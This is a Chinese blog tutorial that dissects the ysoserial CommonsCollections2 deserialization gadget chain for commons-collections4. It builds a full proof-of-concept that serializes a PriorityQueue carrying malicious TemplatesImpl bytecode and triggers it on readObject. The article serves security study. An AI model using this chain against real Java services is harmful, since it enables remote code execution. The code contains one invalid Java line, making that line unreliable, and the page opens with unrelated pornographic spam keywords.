欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Java安全 ysoserial CommonsCollections2示例分析

 更新時間:2022年11月04日 14:20:05   作者:功夫小熊貓  
這篇文章主要為大家介紹了Java安全 ysoserial CommonsCollections2示例分析,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪

正文

在最后一步的實現(xiàn)上,cc2和cc3一樣,最終都是通過TemplatesImpl惡意字節(jié)碼文件動態(tài)加載方式實現(xiàn)反序列化。

已知的TemplatesImpl->newTransformer()是最終要執(zhí)行的。

TemplatesImpl類動態(tài)加載方式的實現(xiàn)分析見ysoserial CommonsCollections3 分析中的一、二部分。

TemplatesImpl->newTransformer()的調(diào)用通過InvokerTransformer.transform()反射機制實現(xiàn),這里可以看ysoserial CommonsCollections1 分析中的前半部分內(nèi)容。

cc2 commons-collections4版本利用鏈

cc2是針對commons-collections4版本,利用鏈如下:

/*
	Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				...
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()
 */

InvokerTransformer.transform()利用

所以在InvokerTransformer.transform()之后的利用如下:

public class CC2Test2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field name = templates_cl.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"xxx");
        Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
        transletIndex.setAccessible(true);
        transletIndex.set(templates,0);
        byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
        byte[][] codes = [code];
        //給_bytecodes賦值
        Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,codes);
        //要順利執(zhí)行,_tfactory得賦值,因為defineTransletClasses中調(diào)用了_tfactory的getExternalExtensionsMap
        //_tfactorys是TransformerFactoryImpl類型的
        TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
        Field tfactory = templates_cl.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,transformerFactory);
        InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
        transformer.transform(templates);
    }
}

InvokerTransformer.transform()的調(diào)用

TransformingComparator的compare,實現(xiàn)了對屬性this.transformer的transform調(diào)用,這里可以通過TransformingComparator構(gòu)造方法為該屬性賦值。

public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
    private static final long serialVersionUID = 3456940356043606220L;
    private final Comparator<O> decorated;
    private final Transformer<? super I, ? extends O> transformer;
    public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
        this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
    }
    public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }
    public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
}

通過compare的調(diào)用

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
transformingComparator.compare(null,templates);

TransformingComparator.compare()的調(diào)用

PriorityQueue類中的readobject()調(diào)用了heapify(),heapify()中調(diào)用了siftDown(),siftDown()調(diào)用了siftDownUsingComparator(),siftDownUsingComparator()方法實現(xiàn)了comparator.compare()調(diào)用。

那么只要將transformingComparator對象賦值給comparator,可以通過反射,也可以通過構(gòu)造方法,這里通過構(gòu)造方法,且initialCapacity不能小于1。

public PriorityQueue(int initialCapacity,
                     Comparator<? super E> comparator) {
    // Note: This restriction of at least one is not actually needed,
    // but continues for 1.5 compatibility
    if (initialCapacity < 1)
        throw new IllegalArgumentException();
    this.queue = new Object[initialCapacity];
    this.comparator = comparator;
}

由于comparator.compare()中的參數(shù)來自queue,所以需要將templates賦值給queue。

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(templates);

但是由于在priorityQueue.add()方法中會調(diào)用siftUp()->siftUpUsingComparator()->comparator.compare()。

priorityQueue.add()中帶入的參數(shù)對象如果不存在newTransformer方法將報錯,另外使用templates作為參數(shù),又會導(dǎo)致在序列化過程構(gòu)造惡意對象的時候得到執(zhí)行。所以這里先用toString()方法代替,后通過反射方式修改this.iMethodName屬性。

TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");

queue屬性賦值

transient queue無法序列化,但在PriorityQueue的writeobject()、readobject中對queue做了重寫,實現(xiàn)序列化和反序列化。

private void writeObject(java.io.ObjectOutputStream s)
        throws java.io.IOException {
    	//略
        for (int i = 0; i &lt; size; i++)
            s.writeObject(queue[i]);
    }
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
	//略
    for (int i = 0; i &lt; size; i++)
        queue[i] = s.readObject();
    heapify();
}

通過反射修改queues[0],利用如下:

TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue&lt;Object&gt; priorityQueue = new PriorityQueue&lt;Object&gt;(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
Object[] queues = (Object[]) queue.get(priorityQueue);
queues[0] = templates;
//這里得替換queues[0]
//如果queues[0]依舊保留使用Integer,會因為無法找到newTransformer報錯。

最終完整利用實現(xiàn)

public class CC2Test2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field name = templates_cl.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"xxx");
        Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
        transletIndex.setAccessible(true);
        transletIndex.set(templates,0);
        byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
        byte[][] codes = [code];
        //給_bytecodes賦值
        Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,codes);
        //要順利執(zhí)行,_tfactory得賦值,因為defineTransletClasses中調(diào)用了_tfactory的getExternalExtensionsMap
        //_tfactorys是TransformerFactoryImpl類型的
        TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
        Field tfactory = templates_cl.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,transformerFactory);
        InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
        TransformingComparator transformingComparator = new TransformingComparator(transformer);
        PriorityQueue&lt;Object&gt; priorityQueue = new PriorityQueue&lt;Object&gt;(2, transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
        iMethodName.setAccessible(true);
        iMethodName.set(transformer,"newTransformer");
        Field queue = priorityQueue.getClass().getDeclaredField("queue");
        queue.setAccessible(true);
        Object[] queues = (Object[]) queue.get(priorityQueue);
        queues[0] = templates;
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc2.ser"));
        objectOutputStream.writeObject(priorityQueue);
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc2.ser"));
        objectInputStream.readObject();
    }
}

以上就是Java安全 ysoserial CommonsCollections2示例分析的詳細內(nèi)容,更多關(guān)于Java ysoserial CommonsCollections的資料請關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • 在SpringBoot中實現(xiàn)一個訂單號生成系統(tǒng)的示例代碼

    在SpringBoot中實現(xiàn)一個訂單號生成系統(tǒng)的示例代碼

    在Spring Boot中設(shè)計一個訂單號生成系統(tǒng),主要考慮到生成的訂單號需要滿足的幾個要求:唯一性、可擴展性、以及可能的業(yè)務(wù)相關(guān)性,本文給大家介紹了幾種常見的解決方案及相應(yīng)的示例代碼,需要的朋友可以參考下
    2024-02-02
  • Eclipse添加xml文件提示及Hibernate配置學(xué)習

    Eclipse添加xml文件提示及Hibernate配置學(xué)習

    文件提示功能在開發(fā)過程中很實用的,本文實現(xiàn)了一個Eclipse添加xml文件提示,感興趣的朋友可以了解下啊,希望本文對你有所幫助
    2013-01-01
  • intellij idea 啟動tomcat 1099端口被占用的解決

    intellij idea 啟動tomcat 1099端口被占用的解決

    這篇文章主要介紹了intellij idea 啟動tomcat 1099端口被占用的解決,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習或者工作具有一定的參考學(xué)習價值,需要的朋友們下面隨著小編來一起學(xué)習學(xué)習吧
    2019-09-09
  • AsyncHttpClient的默認配置源碼流程解讀

    AsyncHttpClient的默認配置源碼流程解讀

    這篇文章主要為大家介紹了AsyncHttpClient的默認配置源碼流程解讀,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2023-12-12
  • java基礎(chǔ)實現(xiàn)猜數(shù)字小游戲

    java基礎(chǔ)實現(xiàn)猜數(shù)字小游戲

    這篇文章主要為大家詳細介紹了java基礎(chǔ)實現(xiàn)猜數(shù)字小游戲,文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2021-11-11
  • C# 數(shù)據(jù)類型轉(zhuǎn)換

    C# 數(shù)據(jù)類型轉(zhuǎn)換

    這篇文章主要講解C語言中基本數(shù)據(jù)類型、字符串與其它數(shù)據(jù)類型以及常見的日期類型的轉(zhuǎn)換,希望能給大家做一個參考。希望能夠給你帶來幫助
    2021-07-07
  • 教你用MAT工具分析Java堆內(nèi)存泄漏問題的解決方法

    教你用MAT工具分析Java堆內(nèi)存泄漏問題的解決方法

    今天給大家?guī)淼氖顷P(guān)于Java的相關(guān)知識,文章圍繞著如何使用MAT工具分析Java堆內(nèi)存泄漏問題的解決方法展開,文中有非常詳細的介紹及代碼示例,需要的朋友可以參考下
    2021-06-06
  • SpringBoot實現(xiàn)MapperScan添加動態(tài)配置(占位符)

    SpringBoot實現(xiàn)MapperScan添加動態(tài)配置(占位符)

    這篇文章主要介紹了SpringBoot實現(xiàn)MapperScan添加動態(tài)配置(占位符),具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教。
    2022-01-01
  • 非maven項目快速轉(zhuǎn)換為maven項目的方法步驟

    非maven項目快速轉(zhuǎn)換為maven項目的方法步驟

    時候我們導(dǎo)入的項目并不是有maven來管理依賴的,而是要手動添加jar包,比較麻煩,本文主要介紹了非maven項目快速轉(zhuǎn)換為maven項目的方法步驟,具有一定的參考價值,感興趣的可以了解一下
    2024-01-01
  • Java Cmd運行Jar出現(xiàn)亂碼的解決方案

    Java Cmd運行Jar出現(xiàn)亂碼的解決方案

    這篇文章主要介紹了Java Cmd運行Jar出現(xiàn)亂碼的解決方案,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2021-09-09

最新評論